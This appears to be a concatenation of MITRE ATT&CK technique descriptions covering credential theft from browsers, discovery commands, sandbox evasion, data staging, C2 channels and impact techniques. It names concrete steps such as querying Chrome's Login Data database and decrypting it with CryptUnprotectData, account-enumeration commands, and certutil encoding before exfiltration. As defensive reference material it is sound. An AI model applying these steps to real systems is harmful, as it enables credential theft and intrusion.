Adversaries may acquire credentials from web browsers by reading files specific to the target browser.(Citation: Talos Olympic Destroyer 2018) Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.

For example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, AppDataLocalGoogleChromeUser DataDefaultLogin Data and executing a SQL query: SELECT action_url, username_value, password_value FROM logins;. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function CryptUnprotectData, which uses the victim’s cached logon credentials as the decryption key.(Citation: Microsoft CryptUnprotectData April 2018)

Adversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc.(Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017) Windows stores Internet Explorer and Microsoft Edge credentials in Credential Lockers managed by the Windows Credential Manager.

Adversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)

After acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary’s objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).

Adversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as sc query, tasklist /svc, systemctl --type=service, and net start.

Adversaries may use the information from System Service Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as Ping or net view using Net.

Adversaries may also analyze data from local host files (ex: C:WindowsSystem32Driversetchosts or /etc/hosts) or other passive means (such as local Arp cache entries) in order to discover the presence of remote systems in an environment.

Adversaries may also target discovery of network infrastructure as well as leverage Network Device CLI commands on network devices to gather detailed information about systems within a network (e.g. show cdp neighbors, show arp).(Citation: US-CERT-TA18-106A)(Citation: CISA AR21-126A FIVEHANDS May 2021)

Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping. The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from System Owner/User Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Various utilities and commands may acquire this information, including whoami. In macOS and Linux, the currently logged in user can be identified with w and who. On macOS the dscl . list /Users | grep -v '_' command can also be used to enumerate user accounts. Environment variables, such as %USERNAME% and $USER, may also be used to access this information.

On network devices, Network Device CLI commands such as `show users` and `show ssh` can be used to display users currently logged into the device.(Citation: show_ssh_users_cmd_cisco)(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)

Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

In Windows environments, adversaries could obtain details on running processes using the Tasklist utility via cmd or Get-Process via PowerShell. Information about processes can also be extracted from the output of Native API calls such as CreateToolhelp32Snapshot. In Mac and Linux, this is accomplished with the ps command. Adversaries may also opt to enumerate processes via /proc.

On network devices, Network Device CLI commands such as `show processes` can be used to display current running processes.(Citation: US-CERT-TA18-106A)(Citation: show_processes_cisco_cmd)

Adversaries may attempt to find local system groups and permission settings. The knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.

Commands such as net localgroup of the Net utility, dscl . -list /Groups on macOS, and groups on Linux can list local groups.

Adversaries may attempt to find domain-level groups and permission settings. The knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as domain administrators.

Commands such as net group /domain of the Net utility, dscacheutil -q group on macOS, and ldapsearch on Linux can list domain-level groups.

An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Tools such as Systeminfo can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the systemsetup configuration tool on macOS. As an example, adversaries with user-level access can execute the df -aH command to obtain currently mounted disks and associated freely available space. Adversaries may also leverage a Network Device CLI on network devices to gather detailed system information (e.g. show version).(Citation: US-CERT-TA18-106A) System Information Discovery combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.(Citation: OSX.FairyTale)(Citation: 20 macOS Common Tools and Techniques)

Infrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virutal Machine API)

Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Many command shell utilities can be used to obtain this information. Examples include dir, tree, ls, find, and locate.(Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the Native API. Adversaries may also leverage a Network Device CLI on network devices to gather file and directory information (e.g. dir, show flash, and/or nvram).(Citation: US-CERT-TA18-106A)

Adversaries may attempt to get a listing of local system accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior.

Commands such as net user and net localgroup of the Net utility and id and groupson macOS and Linux can list local users and groups. On Linux, local users can also be enumerated through the use of the /etc/passwd file. On macOS the dscl . list /Users command can be used to enumerate local accounts.

Adversaries may attempt to get a listing of domain accounts. This information can help adversaries determine which domain accounts exist to aid in follow-on behavior such as targeting specific accounts which possess particular privileges.

Commands such as net user /domain and net group /domain of the Net utility, dscacheutil -q groupon macOS, and ldapsearch on Linux can list domain users and groups. PowerShell cmdlets including Get-ADUser and Get-ADGroupMember may enumerate members of Active Directory groups.

Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.(Citation: Peripheral Discovery Linux)(Citation: Peripheral Discovery macOS) Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.

Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from Virtualization/Sandbox Evasion during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)

Specific checks will vary based on the target and/or adversary, but may involve behaviors such as Windows Management Instrumentation, PowerShell, System Information Discovery, and Query Registry to obtain system information and search for VME artifacts. Adversaries may search for VME artifacts in memory, processes, file system, hardware, and/or the Registry. Adversaries may use scripting to automate these checks into one script and then have the program exit if it determines the system to be a virtual environment.

Checks could include generic system properties such as host/domain name and samples of network traffic. Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size.

Other common checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions.(Citation: McAfee Virtual Jan 2017) In applications like VMWare, adversaries can also use a special I/O port to send commands and receive output.

Hardware checks, such as the presence of the fan, temperature, and audio devices, could also be used to gather evidence that can be indicative a virtual environment. Adversaries may also query for specific readings from these devices.(Citation: Unit 42 OilRig Sept 2018)

Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. This may include enumerating time-based properties, such as uptime or the system clock, as well as the use of timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time.

Adversaries may employ various time-based evasions, such as delaying malware functionality upon initial execution using programmatic sleep commands or native system scheduling functionality (ex: Scheduled Task/Job). Delays may also be based on waiting for specific victim conditions to be met (ex: system time, events, etc.) or employ scheduled Multi-Stage Channels to avoid analysis and scrutiny.(Citation: Deloitte Environment Awareness)

Benign commands or other operations may also be used to delay malware execution. Loops or otherwise needless repetitions of commands, such as Pings, may be used to delay malware execution and potentially exceed time thresholds of automated analysis environments.(Citation: Revil Independence Day)(Citation: Netskope Nitol) Another variation, commonly referred to as API hammering, involves making various calls to Native API functions in order to delay execution (while also potentially overloading analysis environments with junk data).(Citation: Joe Sec Nymaim)(Citation: Joe Sec Trickbot)

Adversaries may also use time as a metric to detect sandboxes and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. For example, an adversary may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment’s timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks)

Adversaries may attempt to get a listing of software and software versions that are installed on a system or in a cloud environment. Adversaries may use the information from Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Adversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable to Exploitation for Privilege Escalation.

Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Example commands that can be used to obtain security software information are netsh, reg query with Reg, dir with cmd, and Tasklist, but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for. It is becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.

Adversaries may also utilize cloud APIs to discover the configurations of firewall rules within an environment.(Citation: Expel IO Evil in AWS) For example, the permitted IP ranges, ports or user accounts for the inbound/outbound rules of security groups, virtual firewalls established within AWS for EC2 and/or VPC instances, can be revealed by the DescribeSecurityGroups action with various request parameters. (Citation: DescribeSecurityGroups – Amazon Elastic Compute Cloud)

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

For example, on Windows adversaries can access clipboard data by using clip.exe or Get-Clipboard.(Citation: MSDN Clipboard)(Citation: clip_win_server)(Citation: CISA_AA21_200B) Additionally, adversaries may monitor then replace users’ clipboard with their data (e.g., Transmitted Data Manipulation).(Citation: mining_ruby_reversinglabs)

macOS and Linux also have commands, such as pbpaste, to grab clipboard contents.(Citation: Operating with EmPyre)

Adversaries may use utilities to compress and/or encrypt collected data prior to exfiltration. Many utilities include functionalities to compress, encrypt, or otherwise package data into a format that is easier/more secure to transport.

Adversaries may abuse various utilities to compress or encrypt data before exfiltration. Some third party utilities may be preinstalled, such as tar on Linux and macOS or zip on Windows systems.

On Windows, diantz or makecab may be used to package collected files into a cabinet (.cab) file. diantz may also be used to download and compress files from remote locations (i.e. Remote Data Staging).(Citation: diantz.exe_lolbas) xcopy on Windows can copy files and directories with a variety of options. Additionally, adversaries may use certutil to Base64 encode collected data before exfiltration.

Adversaries may use also third party utilities, such as 7-Zip, WinRAR, and WinZip, to perform similar activities.(Citation: 7zip Homepage)(Citation: WinRAR Homepage)(Citation: WinZip Homepage)

Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.

Adversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, or DNS. For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP.

Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.

Adversaries can also take advantage of routing schemes in Content Delivery Networks (CDNs) to proxy command and control traffic.

Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.(Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).

ICMP communication between hosts is one example.(Citation: Cisco Synful Knock Evolution) Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts.(Citation: Microsoft ICMP) However, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.

Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088(Citation: Symantec Elfin Mar 2019) or port 587(Citation: Fortinet Agent Tesla April 2018) as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.

Adversaries may also make changes to victim systems to abuse non-standard ports. For example, Registry keys and other configuration settings can be used to modify protocol and port pairings.(Citation: change_rdp_port_conti)

Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary’s overall objectives to cause damage to the environment.(Citation: Talos Olympic Destroyer 2018)(Citation: Novetta Blockbuster)

Adversaries may accomplish this by disabling individual services of high importance to an organization, such as MSExchangeIS, which will make Exchange content inaccessible (Citation: Novetta Blockbuster). In some cases, adversaries may stop or disable many or all services to render systems unusable.(Citation: Talos Olympic Destroyer 2018) Services or processes may not allow for modification of their data stores while running. Adversaries may stop services or processes in order to conduct Data Destruction or Data Encrypted for Impact on the data stores of services like Exchange and SQL Server.(Citation: SecureWorks WannaCry Analysis)

Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. reload).(Citation: Microsoft Shutdown Oct 2017)(Citation: alert_TA18_106A)

Shutting down or rebooting systems may disrupt access to computer resources for legitimate users while also impeding incident response/recovery.

Adversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as Disk Structure Wipe or Inhibit System Recovery, to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018)

Adversaries may insert, delete, or manipulate data in order to influence external outcomes or hide activity, thus threatening the integrity of the data. By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making.

The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.